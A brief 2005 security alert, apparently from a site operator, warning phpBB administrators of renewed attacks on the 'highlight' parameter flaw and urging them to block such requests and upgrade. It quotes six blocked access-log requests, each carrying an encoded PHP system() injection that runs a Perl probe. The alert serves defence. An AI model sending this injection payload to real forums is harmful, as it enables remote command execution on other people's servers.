Just a heads-up: We are seeing an increase in those infamous requests targetted at exploiting the "highlight" bugs in phpBB boards:
195.39.14.220 - - [27/Sep/2005:02:38:56 -0400] "GET /forum/viewtopic.php?forum=3&showtopic=52822&show=20&page=1&highlight=%2527%252Esystem(chr(112)%252Echr(101)%252Echr(114)%252Echr(108)%252Echr(32)%252Echr(45)%252Echr(101)%252Echr(32)%252Echr(34)%252Echr(112)%252Echr(114)%252Echr(105)%252Echr(110)%252Echr(116)%252Echr(32)%252Echr(113)%252Echr(40)%252Echr(106)%252Echr(83)%252Echr(86)%252Echr(111)%252Echr(119)%252Echr(77)%252Echr(115)%252Echr(100)%252Echr(41)%252Echr(34))%252E%2527 HTTP/1.0" 403 14 "-" "Mozilla/4.0"
61.59.67.136 - - [27/Sep/2005:03:06:46 -0400] "GET /forum/viewtopic.php?forum=2&showtopic=50278&highlight=%2527%252Esystem(chr(112)%252Echr(101)%252Echr(114)%252Echr(108)%252Echr(32)%252Echr(45)%252Echr(101)%252Echr(32)%252Echr(34)%252Echr(112)%252Echr(114)%252Echr(105)%252Echr(110)%252Echr(116)%252Echr(32)%252Echr(113)%252Echr(40)%252Echr(106)%252Echr(83)%252Echr(86)%252Echr(111)%252Echr(119)%252Echr(77)%252Echr(115)%252Echr(100)%252Echr(41)%252Echr(34))%252E%2527 HTTP/1.0" 403 14 "-" "Mozilla/4.0"
66.36.242.36 - - [27/Sep/2005:03:09:15 -0400] "GET /forum/viewtopic.php?forum=1&showtopic=54057&highlight=%2527%252Esystem(chr(112)%252Echr(101)%252Echr(114)%252Echr(108)%252Echr(32)%252Echr(45)%252Echr(101)%252Echr(32)%252Echr(34)%252Echr(112)%252Echr(114)%252Echr(105)%252Echr(110)%252Echr(116)%252Echr(32)%252Echr(113)%252Echr(40)%252Echr(106)%252Echr(83)%252Echr(86)%252Echr(111)%252Echr(119)%252Echr(77)%252Echr(115)%252Echr(100)%252Echr(41)%252Echr(34))%252E%2527 HTTP/1.0" 403 14 "-" "Mozilla/4.0"
213.84.125.79 - - [27/Sep/2005:03:10:05 -0400] "GET /forum/viewtopic.php?showtopic=41060&lastpost=true&highlight=%2527%252Esystem(chr(112)%252Echr(101)%252Echr(114)%252Echr(108)%252Echr(32)%252Echr(45)%252Echr(101)%252Echr(32)%252Echr(34)%252Echr(112)%252Echr(114)%252Echr(105)%252Echr(110)%252Echr(116)%252Echr(32)%252Echr(113)%252Echr(40)%252Echr(106)%252Echr(83)%252Echr(86)%252Echr(111)%252Echr(119)%252Echr(77)%252Echr(115)%252Echr(100)%252Echr(41)%252Echr(34))%252E%2527 HTTP/1.0" 403 14 "-" "Mozilla/4.0"
209.97.202.181 - - [27/Sep/2005:03:15:10 -0400] "GET /forum/viewtopic.php?forum=1&showtopic=31542&highlight=%2527%252Esystem(chr(112)%252Echr(101)%252Echr(114)%252Echr(108)%252Echr(32)%252Echr(45)%252Echr(101)%252Echr(32)%252Echr(34)%252Echr(112)%252Echr(114)%252Echr(105)%252Echr(110)%252Echr(116)%252Echr(32)%252Echr(113)%252Echr(40)%252Echr(106)%252Echr(83)%252Echr(86)%252Echr(111)%252Echr(119)%252Echr(77)%252Echr(115)%252Echr(100)%252Echr(41)%252Echr(34))%252E%2527 HTTP/1.0" 403 14 "-" "Mozilla/4.0"
61.64.67.107 - - [27/Sep/2005:03:17:49 -0400] "GET /forum/viewtopic.php?showtopic=52577&lastpost=true&highlight=%2527%252Esystem(chr(112)%252Echr(101)%252Echr(114)%252Echr(108)%252Echr(32)%252Echr(45)%252Echr(101)%252Echr(32)%252Echr(34)%252Echr(112)%252Echr(114)%252Echr(105)%252Echr(110)%252Echr(116)%252Echr(32)%252Echr(113)%252Echr(40)%252Echr(106)%252Echr(83)%252Echr(86)%252Echr(111)%252Echr(119)%252Echr(77)%252Echr(115)%252Echr(100)%252Echr(41)%252Echr(34))%252E%2527 HTTP/1.0" 403 14 "-" "Mozilla/4.0"Make sure you still block those requests (the old blocks from the original outbreak from last December(!) should still work) and, if you're running phpBB on your site, please make sure you're on the latest version.
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